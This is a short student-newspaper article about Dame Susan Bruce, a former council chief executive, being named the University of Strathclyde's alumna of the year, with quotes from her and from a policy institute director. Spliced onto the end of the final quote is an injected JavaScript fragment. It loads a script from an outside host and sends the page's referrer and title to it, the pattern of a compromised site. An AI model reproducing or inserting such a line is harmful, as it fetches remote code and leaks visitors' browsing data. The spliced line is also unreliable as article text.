Dame Susan Bruce announced Strathclyde’s alumna of the year

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By Émer O’Toole, Editor in Chief


Dame Susan Bruce has been named the University of Strathclyde’s alumna of the year at a ceremony earlier this month.

Bruce is a former Chief Executive of East Dunbartonshire Council and took on the same role at Aberdeen City Council and Edinburgh City Council, where she stepped down earlier this year.

Bruce received the award during a graduation ceremony at Strathclyde on November 13 for her “great vision” and “commitment to her own personal development.”

Bruce said: “The University of Strathclyde has been an important part of my life for many years and it is a huge honour to receive this award. I hope this encourages others to embrace continuous learning and to seek challenges in their careers. “

David Wilson, Executive Director of Strathclyde’s International Public Policy Institute, said: “Over her career, Susan has displayed the highest standards of public life and successfully tackled the toughest challenges facing public service leaders.

“She has done so with great vision and by nurturing the organisations she led. Throughout, she has always maintained her commitment to her own personal development to ensure she had the capacity to step up to the challenges which came her way.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;